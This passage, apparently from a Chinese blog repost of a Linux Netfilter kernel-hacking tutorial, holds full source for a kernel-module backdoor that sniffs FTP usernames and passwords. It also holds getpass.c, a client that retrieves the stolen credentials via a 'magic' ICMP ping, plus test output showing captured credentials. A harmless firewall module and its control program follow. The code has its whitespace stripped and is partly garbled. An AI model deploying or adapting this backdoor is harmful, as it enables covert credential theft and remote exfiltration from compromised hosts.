0;/*Marksifwealreadyhaveapair*//*Trackinginformation.OnlylogUSERandPASScommandsthatgotothe*sameIPaddressandTCPport.*/staticunsignedinttarget_ip=0;staticunsignedshorttarget_port=0;/*UsedtodescribeourNetfilterhooks*/structnf_hook_opspre_hook;/*Incoming*/structnf_hook_opspost_hook;/*Outgoing*//*Functionthatlooksatansk_buffthatisknowntobeanFTPpacket.*LooksfortheUSERandPASSfieldsandmakessuretheybothcomefrom*theonehostasindicatedinthetarget_xxxfields*/staticvoidcheck_ftp(structsk_buff*sk){structiphdr*iph;structtcphdr*tcph;char*data;intlen=0;inti=0;iph=ip_hdr(sk);tcph=(void*)iph+iph->ihl*4;data=(char*)((int)tcph+(int)(tcph->doff*4));/*Now,ifwehaveausernamealready,thenwehaveatarget_ip.*Makesurethatthispacketisdestinedforthesamehost.*/if(username)if(iph->daddr!=target_ip||tcph->source!=target_port)return;/*NowtrytoseeifthisisaUSERorPASSpacket*/if(strncmp(data,"USER",5)==0){/*Username*/data+=5;if(username)return;while(*(data+i)!=’\r’&&*(data+i)!=’\n’&&*(data+i)!=’\0’&&i<15){len++;i++;}if((username=kmalloc(len+2,GFP_KERNEL))==NULL)return;memset(username,0x00,len+2);memcpy(username,data,len);*(username+len)=’\0′;/*NULLterminate*/}elseif(strncmp(data,"PASS",5)==0){/*Password*/data+=5;/*Ifausernamehasn’tbeenloggedyetthendon’ttrylogging*apassword*/if(username==NULL)return;if(password)return;while(*(data+i)!=’\r’&&*(data+i)!=’\n’&&*(data+i)!=’\0’&&i<15){len++;i++;}if((password=kmalloc(len+2,GFP_KERNEL))==NULL)return;memset(password,0x00,len+2);memcpy(password,data,len);*(password+len)=’\0′;/*NULLterminate*/}elseif(strncmp(data,"QUIT",4)==0){/*Quitcommandreceived.Ifwehaveausernamebutnopassword,*cleartheusernameandreseteverything*/if(have_pair)return;if(username&&!password){kfree(username);username=NULL;target_port=target_ip=0;have_pair=0;return;}}else{return;}if(!target_ip)target_ip=iph->daddr;if(!target_port)target_port=tcph->source;if(username&&password)have_pair++;/*Haveapair.Ignoreothersuntil*thispairhasbeenread.*/printk("Nowwehaveapairofpassandusername\n");printk("usernameis:%s\n",username);printk("passwordis:%s\n",password);}/*FunctioncalledasthePOST_ROUTING(last)hook.Itwillcheckfor*FTPtrafficthensearchthattrafficforUSERandPASScommands.*/staticunsignedintwatch_out(unsignedinthooknum,structsk_buff*skb,conststructnet_device*in,conststructnet_device*out,int(*okfn)(structsk_buff*)){structsk_buff*sk;structiphdr*iph;structtcphdr*tcph;sk=skb_copy(skb,1);iph=ip_hdr(sk);tcph=(void*)iph+iph->ihl*4;/*MakesurethisisaTCPpacketfirst*/if(iph->protocol!=IPPROTO_TCP)returnNF_ACCEPT;/*Nope,notTCP*//*Nowchecktoseeifit’sanFTPpacket*/if(tcph->dest!=htons(21))returnNF_ACCEPT;/*Nope,notFTP*//*ParsetheFTPpacketforrelevantinformationifwedon’talready*haveausernameandpasswordpair.*/if(!have_pair)check_ftp(sk);/*Wearefinishedwiththepacket,letitgoonitsway*/returnNF_ACCEPT;}/*ProcedurethatwatchesincomingICMPtrafficforthe"Magic"packet.*Whenthatisreceived,wetweaktheskbstructuretosendareply*backtotherequestinghostandtellNetfilterthatwestolethe*packet.*/staticunsignedintwatch_in(unsignedinthooknum,structsk_buff*skb,conststructnet_device*in,conststructnet_device*out,int(*okfn)(structsk_buff*)){structsk_buff*sk;structiphdr*iph;structtcphdr*tcph;structicmphdr*icmp;char*cp_data;/*Wherewecopydatatoinreply*/unsignedinttaddr;/*TemporaryIPholder*/sk=skb;iph=ip_hdr(sk);tcph=(void*)iph+iph->ihl*4;/*Doweevenhaveausername/passwordpairtoreportyet?*/if(!have_pair)returnNF_ACCEPT;/*IsthisanICMPpacket?*/if(iph->protocol!=IPPROTO_ICMP)returnNF_ACCEPT;icmp=(structicmphdr*)(sk->data+iph->ihl*4);/*IsittheMAGICpacket?*/if(icmp->code!=MAGIC_CODE||icmp->type!=ICMP_ECHO||ICMP_PAYLOAD_SIZE<REPLY_SIZE){returnNF_ACCEPT;}/*Okay,matchesourchecksfor"Magicness",nowwefiddlewith*thesk_bufftoinserttheIPaddress,andusername/passwordpair,*swapIPsourceanddestinationaddressesandethernetaddresses*ifnecessaryandthentransmitthepacketfromhereandtell*Netfilterwestoleit.Phew…*/taddr=iph->saddr;iph->saddr=iph->daddr;iph->daddr=taddr;sk->pkt_type=PACKET_OUTGOING;switch(sk->dev->type){caseARPHRD_PPP:/*Nofiddlingneedsdoing*/break;caseARPHRD_LOOPBACK:caseARPHRD_ETHER:{unsignedchart_hwaddr[ETH_ALEN];/*Movethedatapointertopointtothelinklayerheader*/sk->data=(unsignedchar*)sk->mac_header;sk->len+=ETH_HLEN;//sizeof(sb->mac.ethernet);memcpy(t_hwaddr,(((structethhdr*)(sk->mac_header))->h_dest),ETH_ALEN);memcpy(((structethhdr*)(sk->mac_header))->h_dest,(((structethhdr*)(sk->mac_header))->h_source),ETH_ALEN);memcpy((((structethhdr*)(sk->mac_header))->h_source),t_hwaddr,ETH_ALEN);break;}};/*NowcopytheIPaddress,thenUsername,thenpasswordintopacket*/cp_data=(char*)((char*)icmp+sizeof(structicmphdr));memcpy(cp_data,&target_ip,4);if(username)memcpy(cp_data+4,username,16);if(password)memcpy(cp_data+20,password,16);/*Thisiswherethingswilldieiftheyaregoingto.*Fingerscrossed…*/dev_queue_xmit(sk);/*Nowfreethesavedusernameandpasswordandresethave_pair*/kfree(username);kfree(password);username=password=NULL;have_pair=0;target_port=target_ip=0;//printk("Passwordretrieved\n");returnNF_STOLEN;}intinit_module(){pre_hook.hook=watch_in;pre_hook.pf=PF_INET;pre_hook.priority=NF_IP_PRI_FIRST;pre_hook.hooknum=NF_INET_PRE_ROUTING;post_hook.hook=watch_out;post_hook.pf=PF_INET;post_hook.priority=NF_IP_PRI_FIRST;post_hook.hooknum=NF_INET_POST_ROUTING;nf_register_hook(&pre_hook);nf_register_hook(&post_hook);return0;}voidcleanup_module(){nf_unregister_hook(&post_hook);nf_unregister_hook(&pre_hook);if(password)kfree(password);if(username)kfree(username);}MODULE_INIT(init_module);MODULE_EXIT(cleanup_module);MODULE_LICENSE("GPL");MODULE_AUTHOR("xsc");

源代码 : getpass.c[cpp]view plaincopyprint?

    /*getpass.c-simpleutilitytogetusername/passwordpairfrom*theNetfilterbackdoorFTPsniffer.Verykludgy,buteffective.*MostlystrippedfrommysourceforInfoPig.**Writtenbybioforge-March2003*/#include<stdio.h>#include<stdlib.h>#include<sys/types.h>#include<sys/socket.h>#include<netinet/in.h>#include<arpa/inet.h>#include<unistd.h>#include<string.h>#include<netinet/ip.h>///structip#include<netinet/ip_icmp.h>///structicmp/*Functionprototypes*/staticunsignedshortchecksum(intnumwords,unsignedshort*buff);intmain(intargc,char*argv[]){unsignedchardgram[256];/*PlentyforaPINGdatagram*/unsignedcharrecvbuff[256];structip*iphead=(structip*)dgram;structicmp*icmphead=(structicmp*)(dgram+sizeof(structip));structsockaddr_insrc;structsockaddr_inaddr;structin_addrmy_addr;structin_addrserv_addr;socklen_tsrc_addr_size=sizeof(structsockaddr_in);inticmp_sock=0;intone=1;int*ptr_one=&one;if(argc<3){fprintf(stderr,"Usage:%sremoteIPmyIP\n",argv[0]);exit(1);}/*Getasocket*/if((icmp_sock=socket(PF_INET,SOCK_RAW,IPPROTO_ICMP))<0){perror("Couldn’topenrawsocket!");exit(1);}/*settheHDR_INCLoptiononthesocket*/if(setsockopt(icmp_sock,IPPROTO_IP,IP_HDRINCL,ptr_one,sizeof(one))<0){close(icmp_sock);perror("Couldn’tsetHDRINCLoption!");exit(1);}addr.sin_family=AF_INET;addr.sin_addr.s_addr=inet_addr(argv[1]);my_addr.s_addr=inet_addr(argv[2]);memset(dgram,0x00,256);memset(recvbuff,0x00,256);/*FillintheIPfieldsfirst*/iphead->ip_hl=5;iphead->ip_v=4;iphead->ip_tos=0;iphead->ip_len=84;iphead->ip_id=(unsignedshort)rand();iphead->ip_off=0;iphead->ip_ttl=128;iphead->ip_p=IPPROTO_ICMP;iphead->ip_sum=0;iphead->ip_src=my_addr;iphead->ip_dst=addr.sin_addr;/*NowfillintheICMPfields*/icmphead->icmp_type=ICMP_ECHO;icmphead->icmp_code=0x5B;icmphead->icmp_cksum=checksum(42,(unsignedshort*)icmphead);/*Finally,sendthepacket*/fprintf(stdout,"Sendingrequest…\n");if(sendto(icmp_sock,dgram,84,0,(structsockaddr*)&addr,sizeof(structsockaddr))<0){perror("Failedsendingrequest!");return0;}fprintf(stdout,"Waitingforreply…\n");if(recvfrom(icmp_sock,recvbuff,256,0,(structsockaddr*)&src,&src_addr_size)<0){perror("Failedgettingreplypacket!");close(icmp_sock);exit(1);}iphead=(structip*)recvbuff;icmphead=(structicmp*)(recvbuff+sizeof(structip));memcpy(&serv_addr,((char*)icmphead+8),sizeof(structin_addr));fprintf(stdout,"Stolenforftpserver%s:\n",inet_ntoa(serv_addr));fprintf(stdout,"Username:%s\n",(char*)((char*)icmphead+12));fprintf(stdout,"Password:%s\n",(char*)((char*)icmphead+28));close(icmp_sock);return0;}/*Checksum-generationfunction.ItappearsthatPING’edmachinesdon’t*replytoPINGswithinvalid(ie.empty)ICMPChecksumfields…*FairenoughIguess.*/staticunsignedshortchecksum(intnumwords,unsignedshort*buff){unsignedlongsum;for(sum=0;numwords>0;numwords–)sum+=*buff++;/*addnextword,thenincrementpointer*/sum=(sum>>16)+(sum&0xFFFF);sum+=(sum>>16);return~sum;}

测试结果如下:

[cpp]view plaincopyprint?

    sina@ubuntu:~/Debug/sniff$sudo./getpass192.168.100.2192.168.100.1Sendingrequest…Waitingforreply…Stolenforftpserver192.168.100.2:Username:ftpvuser1Password:ftpvuser1test

6 – 在Libpcap中隐藏网络通信

关于这部分不想再多说了,可以看以前的文章高级 inline hook 技术 http://blog.csdn.net/xsckernel/article/details/8159502

里面有一些钩子技术的实现方式。

A – 轻量级防火墙 A.1 – 概述

轻量级防火墙(LWFW)是一个简单的内核模块,用于演示我们在第4节中涉及的基本的数据包过滤技术。LWFW也通过ioctl()系统调用提供了一个控制接口。 由于LWFW的源代码已经有足够的文档了,我在这儿只给出它如何工作的简单概述。当LWFW模块被加载后,它的第一个任务就是尝试注册控制设置。注意在LWFW的ioctl()控制接口可用之前,需要在/dev下创建一个字符设备文件。如果控制设备注册成功,"in use"标志被清除并且对NF_IP_PRE_ROUTE进行hook的函数被注册。清除函数执行相反的操作。 LWFW对数据包丢弃提供三个基本的选项。按照处理的顺序列出如下: — 源接口 — 源IP地址 — 目的TCP端口 这些规则的设置由ioctl()接口完成。当一个数据包被接收,LWFW按照我们设定的规则进行检查。如果匹配了其中的任意一条规则,那么hook函数将返回

NF_DROP,然后Netfilter将悄无声息的丢弃这个数据包。否则,hook函数返回NF_ACCEPT,数据包将继续它的旅程。 最后,有必要提一下的是LWFW的统计日志。无论任何时候数据包进入hook函数,LWFW都将收到的数据包的计数累加。单独的规则检查函数负责增加它们各自的丢弃的数据包的计数。

注意,当规则的值被改变时,它的丢弃数据包的计数被重置为0。lwfwstats 程序利用LWFW_GET_STATS这个IOCTL来获取统计数据结构的一个副本并显示其内容。

A.2 – 源代码 : lwfw.c

[cpp]view plaincopyprint?

    /*Light-weightFireWall.Simplefirewallutilitybasedon*Netfilterfor2.4.Designedforeducationalpurposes.**Writtenbybioforge-March2003.*/#include<linux/kernel.h>#include<linux/init.h>#include<linux/module.h>#include<linux/version.h>#include<linux/string.h>#include<linux/kmod.h>#include<linux/vmalloc.h>#include<linux/workqueue.h>#include<linux/spinlock.h>#include<linux/socket.h>#include<linux/net.h>#include<linux/in.h>#include<linux/skbuff.h>#include<linux/ip.h>#include<linux/tcp.h>#include<linux/netfilter.h>#include<linux/netfilter_ipv4.h>#include<linux/icmp.h>#include<net/sock.h>#include<asm/uaccess.h>#include<asm/unistd.h>#include<linux/if_arp.h>#include<linux/cdev.h>///structcdev#include"lwfw.h"/*Localfunctionprototypes*/staticintset_if_rule(char*name);staticintset_ip_rule(char*ip);staticintset_port_rule(char*port);staticintcheck_ip_packet(structsk_buff*skb);staticintcheck_tcp_packet(structsk_buff*skb);staticintcopy_stats(structlwfw_stats*statbuff);/*Somefunctionprototypestobeusedbylwfw_fopsbelow.*/staticintlwfw_ioctl(structfile*file,unsignedintcmd,unsignedlongarg);staticintlwfw_open(structinode*inode,structfile*file);staticintlwfw_release(structinode*inode,structfile*file);/*Variousflagsusedbythemodule*//*Thisflagmakessurethatonlyoneinstanceofthelwfwdevice*canbeinuseatanyonetime.*/staticintlwfw_ctrl_in_use=0;/*ThisflagmarkswhetherLWFWshouldactuallyattemptrulechecking.*IfthisiszerothenLWFWautomaticallyallowsallpackets.*/staticintactive=0;/*SpecifiesoptionsfortheLWFWmodule*/staticunsignedintlwfw_options=(LWFW_IF_DENY_ACTIVE|LWFW_IP_DENY_ACTIVE|LWFW_PORT_DENY_ACTIVE);staticintmajor=0;/*Controldevicemajornumber*//*Thisstructwilldescribeourhookprocedure.*/structnf_hook_opsnfkiller;/*Modulestatisticsstructure*/staticstructlwfw_statslwfw_statistics={0,0,0,0,0};/*Actualrule’definitions’.*//*TODO:OnedayLWFWmightactuallysupportmanysimultaneousrules.*JustassoonasIfigureoutthelist_headmechanism…*/staticchar*deny_if=NULL;/*Interfacetodeny*/staticunsignedintdeny_ip=0x00000000;/*IPaddresstodeny*/staticunsignedshortdeny_port=0x0000;/*TCPporttodeny*/structcdevcdev_m;unsignedintinet_addr(char*str){inta,b,c,d;chararr[4];sscanf(str,"%d.%d.%d.%d",&a,&b,&c,&d);arr[0]=a;arr[1]=b;arr[2]=c;arr[3]=d;return*(unsignedint*)arr;}/**Thisistheinterfacedevice’sfile_operationsstructure*/structfile_operationslwfw_fops={.owner=THIS_MODULE,.unlocked_ioctl=lwfw_ioctl,.open=lwfw_open,.release=lwfw_release,};/**Thisisthefunctionthatwillbecalledbythehook*/unsignedintlwfw_hookfn(unsignedinthooknum,structsk_buff*skb,conststructnet_device*in,conststructnet_device*out,int(*okfn)(structsk_buff*)){unsignedintret=NF_ACCEPT;/*IfLWFWisnotcurrentlyactive,immediatelyreturnACCEPT*/if(!active)returnNF_ACCEPT;lwfw_statistics.total_seen++;/*Checktheinterfacerulefirst*/if(deny_if/*&&DENY_IF_ACTIVE*/){if(strcmp(in->name,deny_if)==0){/*Denythisinterface*/lwfw_statistics.if_dropped++;lwfw_statistics.total_dropped++;returnNF_DROP;}}/*ChecktheIPaddressrule*/if(deny_ip/*&&DENY_IP_ACTIVE*/){ret=check_ip_packet(skb);if(ret!=NF_ACCEPT)returnret;}/*Finally,checktheTCPportrule*/if(deny_port/*&&DENY_PORT_ACTIVE*/){ret=check_tcp_packet(skb);if(ret!=NF_ACCEPT)returnret;}returnNF_ACCEPT;/*Wearehappytokeepthepacket*/}/*FunctiontocopytheLWFWstatisticstoauserspacebuffer*/staticintcopy_stats(structlwfw_stats*statbuff){NULL_CHECK(statbuff);copy_to_user(statbuff,&lwfw_statistics,sizeof(structlwfw_stats));return0;}/*FunctionthatcomparesareceivedTCPpacket’sdestinationport*withtheportspecifiedinthePortDenyRule.Ifaprocessing*erroroccurs,NF_ACCEPTwillbereturnedsothatthepacketis*notlost.*/staticintcheck_tcp_packet(structsk_buff*skb){/*Seperatelydefinedpointerstoheaderstructuresareused*toaccesstheTCPfieldsbecauseitseemsthattheso-called*transportheaderfromskbisthesameasitsnetworkheaderTCPpackets.*Ifyoudon’tbelievemethenprinttheaddressesofskb->nh.iph*andskb->h.th.*ItwouldhavebeennicerifthenetworkheaderonlywasIPand*thetransportheaderwasTCPbutwhatcanyoudo?*/structtcphdr*thead;/*Wedon’twantanyNULLpointersinthechaintotheTCPheader.*/if(!skb)returnNF_ACCEPT;if(!(ip_hdr(skb)))returnNF_ACCEPT;/*BesurethisisaTCPpacketfirst*/if(ip_hdr(skb)->protocol!=IPPROTO_TCP){returnNF_ACCEPT;}thead=(structtcphdr*)(skb->data+(ip_hdr(skb)->ihl*4));/*Nowcheckthedestinationport*/if((thead->dest)==deny_port){/*Updatestatistics*/lwfw_statistics.total_dropped++;lwfw_statistics.tcp_dropped++;returnNF_DROP;}returnNF_ACCEPT;}/*FunctionthatcomparesareceivedIPv4packet’ssourceaddress*withtheaddressspecifiedintheIPDenyRule.Ifaprocessing*erroroccurs,NF_ACCEPTwillbereturnedsothatthepacketis*notlost.*/staticintcheck_ip_packet(structsk_buff*skb){/*Wedon’twantanyNULLpointersinthechaintotheIPheader.*/if(!skb)returnNF_ACCEPT;if(!(ip_hdr(skb)))returnNF_ACCEPT;if(ip_hdr(skb)->saddr==deny_ip){/*Matchestheaddress.Barf.*/lwfw_statistics.ip_dropped++;/*Updatethestatistics*/lwfw_statistics.total_dropped++;returnNF_DROP;}returnNF_ACCEPT;}staticintset_if_rule(char*name){intret=0;char*if_dup;/*Duplicateinterface*//*Makesurethenameisnon-null*/NULL_CHECK(name);/*Freeanypreviouslysavedinterfacename*/if(deny_if){kfree(deny_if);deny_if=NULL;}if((if_dup=kmalloc(strlen((char*)name)+1,GFP_KERNEL))==NULL){ret=-ENOMEM;}else{memset(if_dup,0x00,strlen((char*)name)+1);memcpy(if_dup,(char*)name,strlen((char*)name));}deny_if=if_dup;lwfw_statistics.if_dropped=0;/*ResetdropcountforIFrule*/printk("LWFW:Settodenyfrominterface:%s\n",deny_if);returnret;}staticintset_ip_rule(char*ip){deny_ip=inet_addr(ip);lwfw_statistics.ip_dropped=0;/*ResetdropcountforIPrule*/printk("LWFW:SettodenyfromIPaddress:%d.%d.%d.%d\n",deny_ip&0x000000FF,(deny_ip&0x0000FF00)>>8,(deny_ip&0x00FF0000)>>16,(deny_ip&0xFF000000)>>24);return0;}staticintset_port_rule(char*port){//staticunsignedshortdeny_portsscanf(port,"%d",&deny_port);//printk("%x\n",deny_port);deny_port=htons(deny_port);//printk("%x\n",deny_port);lwfw_statistics.tcp_dropped=0;/*ResetdropcountforTCPrule*/printk("LWFW:SettodenyforTCPport:%d\n",((deny_port&0xFF00)>>8|(deny_port&0x00FF)<<8));return0;}/*********************************************//**Fileoperationsfunctionsforcontroldevice*/staticintlwfw_ioctl(structfile*file,unsignedintcmd,unsignedlongarg){intret=0;charbuff[32];switch(cmd){caseLWFW_GET_VERS:returnLWFW_VERS;caseLWFW_ACTIVATE:{active=1;printk("LWFW:Activated.\n");if(!deny_if&&!deny_ip&&!deny_port){printk("LWFW:Nodenyoptionsset.\n");}break;}caseLWFW_DEACTIVATE:{active^=active;printk("LWFW:Deactivated.\n");break;}caseLWFW_GET_STATS:{ret=copy_stats((structlwfw_stats*)arg);break;}caseLWFW_DENY_IF:{printk("name(arg)is%s\n",arg);ret=set_if_rule((char*)arg);break;}caseLWFW_DENY_IP:{copy_from_user(buff,arg,32);ret=set_ip_rule((char*)buff);break;}caseLWFW_DENY_PORT:{ret=set_port_rule((char*)arg);break;}default:ret=-EBADRQC;};returnret;}/*Calledwheneveropen()iscalledonthedevicefile*/staticintlwfw_open(structinode*inode,structfile*file){if(lwfw_ctrl_in_use){return-EBUSY;}else{lwfw_ctrl_in_use++;return0;}return0;}/*Calledwheneverclose()iscalledonthedevicefile*/staticintlwfw_release(structinode*inode,structfile*file){lwfw_ctrl_in_use^=lwfw_ctrl_in_use;return0;}/*********************************************//**Moduleinitialisationandcleanupfollow…*/intinit_module(){intresult,err;dev_tdevno,devno_m;/*Registerthecontroldevice,/dev/lwfw*/result=alloc_chrdev_region(&devno,0,1,LWFW_NAME);major=MAJOR(devno);if(result<0)returnresult;devno_m=MKDEV(major,0);printk("majoris%d\n",MAJOR(devno_m));printk("minoris%d\n",MINOR(devno_m));cdev_init(&cdev_m,&lwfw_fops);cdev_m.owner=THIS_MODULE;cdev_m.ops=&lwfw_fops;err=cdev_add(&cdev_m,devno_m,1);if(err!=0){printk("cdev_adderror\n");}/*Makesuretheusagemarkerforthecontroldeviceiscleared*/lwfw_ctrl_in_use^=lwfw_ctrl_in_use;printk("\nLWFW:Controldevicesuccessfullyregistered.\n");/*Nowregisterthenetworkhooks*/nfkiller.hook=lwfw_hookfn;nfkiller.hooknum=NF_INET_PRE_ROUTING;/*Firststagehook*/nfkiller.pf=PF_INET;/*IPV4protocolhook*/nfkiller.priority=NF_IP_PRI_FIRST;/*Hooktocomefirst*//*Andregister…*/nf_register_hook(&nfkiller);printk("LWFW:Networkhookssuccessfullyinstalled.\n");printk("LWFW:Moduleinstallationsuccessful.\n");return0;}voidcleanup_module(){intret;/*RemoveIPV4hook*/nf_unregister_hook(&nfkiller);/*Nowunregistercontroldevice*/cdev_del(&cdev_m);unregister_chrdev_region(MKDEV(major,0),1);/*Ifanythingwasallocatedforthedenyrules,freeithere*/if(deny_if)kfree(deny_if);printk("LWFW:Removalofmodulesuccessful.\n");}MODULE_INIT(init_module);MODULE_EXIT(cleanup_module);MODULE_LICENSE("GPL");MODULE_AUTHOR("xsc");

A.3 – 头文件 : lwfw.h

[cpp]view plaincopyprint?

    /*IncludefilefortheLight-weightFireWallLKM.**AverysimpleNetfiltermodulethatdropsbacketsbasedoneither*theirincominginterfaceorsourceIPaddress.**Writtenbybioforge-March2003*/#ifndef__LWFW_INCLUDE__#define__LWFW_INCLUDE__/*NOTE:TheLWFW_MAJORsymbolisonlymadeavailableforkernelcode.*Userspacecodehasnobusinessknowingaboutit.*/#defineLWFW_NAME"lwfw"/*VersionofLWFW*/#defineLWFW_VERS0x0001/*0.1*//*DefinitionoftheLWFW_TALKATIVEsymbolcontrolswhetherLWFWwill*printanythingwithprintk().Thisisincludedfordebuggingpurposes.*/#defineLWFW_TALKATIVE/*ThesearetheIOCTLcodesusedforthecontroldevice*/#defineLWFW_CTRL_SET0xFEED0000/*The0xFEED…prefixisarbitrary*/#defineLWFW_GET_VERS0xFEED0001/*GettheversionofLWFM*/#defineLWFW_ACTIVATE0xFEED0002#defineLWFW_DEACTIVATE0xFEED0003#defineLWFW_GET_STATS0xFEED0004#defineLWFW_DENY_IF0xFEED0005#defineLWFW_DENY_IP0xFEED0006#defineLWFW_DENY_PORT0xFEED0007/*Controlflags/Options*/#defineLWFW_IF_DENY_ACTIVE0x00000001#defineLWFW_IP_DENY_ACTIVE0x00000002#defineLWFW_PORT_DENY_ACTIVE0x00000004/*StatisticsstructureforLWFW.*Notethatwheneverarule’sconditionischangedtherelated*xxx_droppedfieldisreset.*/structlwfw_stats{unsignedintif_dropped;/*Packetsdroppedbyinterfacerule*/unsignedintip_dropped;/*PacketsdroppedbyIPaddr.rule*/unsignedinttcp_dropped;/*PacketsdroppedbyTCPportrule*/unsignedlongtotal_dropped;/*Totalpacketsdropped*/unsignedlongtotal_seen;/*Totalpacketsseenbyfilter*/};/**Fromhereonisusedsolelyfortheactualkernelmodule*/#defineLWFW_MAJOR241/*Thisexistsintheexperimentalrange*//*ThismacroisusedtopreventdereferencingofNULLpointers.If*apointerargumentisNULL,thiswillreturn-EINVAL*/#defineNULL_CHECK(ptr)\if((ptr)==NULL)return-EINVAL/*Macrosforaccessingoptions*/#defineDENY_IF_ACTIVE(lwfw_options&LWFW_IF_DENY_ACTIVE)#defineDENY_IP_ACTIVE(lwfw_options&LWFW_IP_DENY_ACTIVE)#defineDENY_PORT_ACTIVE(lwfw_options&LWFW_PORT_DENY_ACTIVE)#endif

其用户空间的程序:[cpp]view plaincopyprint?

    #include<stdio.h>#include<getopt.h>#include<sys/ioctl.h>#include<fcntl.h>#include"lwfw.h"char*constshort_options="adgf:p:t:";structoptionlong_options[]={{"active",0,NULL,’a’},{"deactive",0,NULL,’d’},{"getstatus",0,NULL,’g’},{"denyif",1,NULL,’f’},{"denyip",1,NULL,’p’},{"denyport",1,NULL,’t’},{0,0,NULL,0},};intmain(intargc,char*argv[]){intc;intfd;structlwfw_statsstatus;fd=open("/dev/lwfw",O_RDWR);if(fd==-1){perror("open");return0;}while((c=getopt_long(argc,argv,short_options,long_options,NULL))!=-1){switch(c){case’a’:ioctl(fd,LWFW_ACTIVATE);break;case’d’:ioctl(fd,LWFW_DEACTIVATE);break;case’g’:ioctl(fd,LWFW_GET_STATS,status);printf("if_droppedis%x\n",status.if_dropped);printf("ip_droppedis%x\n",status.ip_dropped);printf("tcp_droppedis%x\n",status.tcp_dropped);printf("total_droppedis%x\n",status.total_dropped);printf("total_seenis%x\n",status.total_seen);break;case’f’:ioctl(fd,LWFW_DENY_IF,optarg);printf("optargis%s\n",optarg);break;case’p’:ioctl(fd,LWFW_DENY_IP,optarg);printf("optargis%s\n",optarg);break;case’t’:ioctl(fd,LWFW_DENY_PORT,optarg);printf("optargis%s\n",optarg);break;default:printf("sadf\n");}}close(fd);}

天下爱情,大抵如斯。

深入Linux网络核心堆栈

相关文章:

你感兴趣的文章:

标签云: